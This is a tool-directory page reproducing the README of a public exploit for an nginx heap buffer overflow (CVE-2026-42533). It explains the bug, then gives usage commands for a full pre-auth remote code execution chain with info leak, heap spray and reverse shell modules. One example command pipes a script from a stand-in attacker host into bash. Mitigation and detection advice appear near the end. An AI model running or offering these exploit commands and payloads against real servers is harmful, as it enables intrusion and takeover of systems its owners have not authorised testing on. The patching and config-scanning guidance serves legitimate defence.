Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42533 — Exploit for nginx heap buffer overflow (CVE-2026-42533) providing pre-auth RCE via two-pass capture clobbering. Includes info leak, heap spray, and reverse shell modules. | Kitploit
Tools/GitHubGitHub/imbas007/cve-2026-42533
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPayload DevelopmentBinary Exploitation
GitHubimbas007/cve-2026-42533

CVE-2026-42533

Exploit for nginx heap buffer overflow (CVE-2026-42533) providing pre-auth RCE via two-pass capture clobbering. Includes info leak, heap spray, and reverse shell modules.

View Repository
32951 month agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42533 — nginx Heap Buffer Overflow PoC Exploit

Pre-Authentication Remote Code Execution via Two-Pass Capture Clobbering

Public PoC released 2026-07-27 — Don't wait, patch now.

CVECVE-2026-42533
CVSS 4.09.2 (Critical)
TypeHeap Buffer Overflow (CWE-122)
Affectednginx 0.9.6 – 1.30.3 (stable), 0.9.6 – 1.31.2 (mainline)
Fixednginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1
Disclosed2026-07-15 (F5 / NGINX)
PoC Released2026-07-27
ResearcherStan Shaw (0xCyberstan)

Confirmed Working

PlatformDiagnosticOverflowCrashInfo Leak
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ Partial

Overview

CVE-2026-42533 is a critical heap buffer overflow in nginx's two-pass string evaluation engine. When a regex-based map directive interacts with numbered capture groups ($1, $2, etc.), the shared r->captures structure gets silently overwritten between the LEN (measure) and VALUE (write) passes. This causes a size mismatch:

  • Larger capture → heap buffer overflow (attacker-controlled out-of-bounds write)
  • Smaller capture → info leak (uninitialized heap memory exposed, leaking libc/heap pointers)

Chained together, these two primitives enable reliable pre-auth RCE, defeating ASLR — demonstrated at 10/10 reliability on Ubuntu 24.04.

How It Works

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

The overflow corrupts adjacent heap structures. The primary target is ngx_pool_cleanup_t:

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

When the connection pool is destroyed, handler(data) is called → arbitrary code execution.

Repository Structure

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Full exploit chain (leak → spray → overflow → RCE)
│   ├── leak.py          # Info leak module (heap/libc pointer leak)
│   ├── overflow.py      # Heap overflow module (crash / RCE trigger)
│   ├── analyze.py       # GDB analysis helper for offset determination
│   └── requirements.txt # Python dependencies
├── nginx/
│   └── nginx.conf       # Vulnerable nginx configuration
├── Dockerfile            # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose for easy deployment
└── README.md

Quick Start

Prerequisites

  • Python 3.8+ with requests
  • Target: nginx 0.9.6–1.30.3/1.31.2 with vulnerable config (see below)

1. Verify Vulnerability (Safe)

root@kitploit:~
# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose

Output:

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. Crash PoC (Proves Exploitability)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

Result on Ubuntu 24.04:

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. Setup Test Environment

root@kitploit:~
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose

4. Docker (Alternative)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

Usage

Full Exploit Chain

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Examples:
python3 exploit/exploit.py 192.168.1.100                    # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only        # recon only
python3 exploit/exploit.py 192.168.1.100 --crash            # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

Info Leak Module

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

Overflow Module

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # crash worker (PoC)
python3 exploit/overflow.py <target> --spray     # heap spray only

Vulnerable Configuration Patterns

The exploit requires this specific pattern in nginx config:

root@kitploit:~
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

Detect vulnerable configs using the public scanner:

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

Crash Proof (Ubuntu 24.04)

root@kitploit:~
Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

Mitigation

Immediate (Patch)

root@kitploit:~
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

Interim Workaround

Replace numbered captures with named captures in map directives:

root@kitploit:~
# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}

Detection

  • Run the config scanner: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • Monitor for unexpected nginx worker restarts
  • Check nginx version: nginx -v (should be ≥ 1.30.4 or ≥ 1.31.3)

References

  • F5 Security Advisory
  • 0xCyberstan Technical Writeup
  • CVE-2026-42533 Config Scanner

Disclaimer

This PoC is released for security research and defensive purposes. Use only against systems you own or have explicit authorization to test. The vulnerability has been patched — upgrade immediately if you haven't already.

Download Tool